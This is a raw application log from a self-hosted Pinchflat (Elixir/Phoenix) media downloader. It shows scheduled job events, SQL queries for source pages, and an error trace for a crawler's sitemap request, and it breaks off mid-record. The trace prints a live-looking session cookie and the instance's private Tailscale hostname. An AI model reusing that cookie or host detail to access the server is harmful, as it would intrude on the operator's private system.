{"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:41:21.426 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:51.427 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:00.560 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:42:21.429 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:51.430 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:00.561 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:43:21.431 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:51.432 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:00.562 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:44:21.433 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:51.434 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:00.563 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:45:21.435 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:51.436 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.564 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:46:21.437 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:51.438 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.565 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:47:21.439 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:51.440 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.566 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:48:21.441 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:51.442 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:54.209 [info] GET /sources/3 19:48:54.210 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 19:48:54.210 [debug] QUERY OK source="sources" db=0.3ms idle=1288.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:48:54.211 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1288.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:48:54.211 [debug] QUERY OK source="tasks" db=0.1ms idle=1289.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 19:48:54.211 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=1289.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [181] 19:48:54.212 [debug] QUERY OK source="settings" db=0.0ms idle=725.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:54.212 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:54.212 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:54.213 [debug] QUERY OK source="sources" db=0.1ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:48:54.213 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 19:48:54.214 [debug] QUERY OK source="media_items" db=0.3ms idle=1.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 19:48:54.214 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:48:54.214 [debug] QUERY OK source="media_items" db=0.0ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 19:48:54.215 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 19:48:54.215 [debug] QUERY OK source="sources" db=0.0ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:48:54.216 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 19:48:54.216 [debug] QUERY OK source="media_items" db=0.2ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 19:48:54.216 [info] Sent 200 in 7ms 19:48:54.754 [info] GET /sources/2 19:48:54.754 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 19:48:54.755 [debug] QUERY OK source="sources" db=0.2ms idle=539.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:48:54.755 [debug] QUERY OK source="media_profiles" db=0.1ms idle=539.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:48:54.780 [debug] QUERY OK source="tasks" db=24.5ms idle=539.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 19:48:54.780 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=563.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [203] 19:48:54.780 [debug] QUERY OK source="settings" db=0.1ms idle=290.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:54.781 [debug] QUERY OK source="settings" db=0.1ms idle=25.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:54.781 [debug] QUERY OK source="settings" db=0.0ms idle=26.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:54.782 [debug] QUERY OK source="sources" db=0.1ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:48:54.782 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 19:48:54.783 [debug] QUERY OK source="media_items" db=0.3ms idle=1.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 19:48:54.783 [debug] QUERY OK source="sources" db=0.0ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:48:54.783 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 19:48:54.783 [debug] QUERY OK source="media_items" db=0.1ms idle=1.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 19:48:54.784 [debug] QUERY OK source="sources" db=0.0ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:48:54.784 [debug] QUERY OK source="media_items" db=0.1ms idle=1.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 19:48:54.785 [debug] QUERY OK source="media_items" db=0.2ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 19:48:54.785 [info] Sent 200 in 31ms 19:48:55.213 [info] GET /sitemap.xml 19:48:55.214 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=429.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:55.214 [debug] QUERY OK source="settings" db=0.2ms idle=430.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:55.214 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:48:55.215 [error] #PID<0.4477.0> running PinchflatWeb.Endpoint (connection #PID<0.4473.0>, stream id 4) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4473.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 48890}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYazFUSFEwZHU4UkhqbllLbDRvd3VoVGhB._KlvWtmuZOvrJvrR51jtOcFUdM-AQobHhGEG7wP95y4", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.7", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYazFUSFEwZHU4UkhqbllLbDRvd3VoVGhB._KlvWtmuZOvrJvrR51jtOcFUdM-AQobHhGEG7wP95y4" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4477.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYazFUSFEwZHU4UkhqbllLbDRvd3VoVGhB._KlvWtmuZOvrJvrR51jtOcFUdM-AQobHhGEG7wP95y4" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYazFUSFEwZHU4UkhqbllLbDRvd3VoVGhB._KlvWtmuZOvrJvrR51jtOcFUdM-AQobHhGEG7wP95y4"}, {"host", 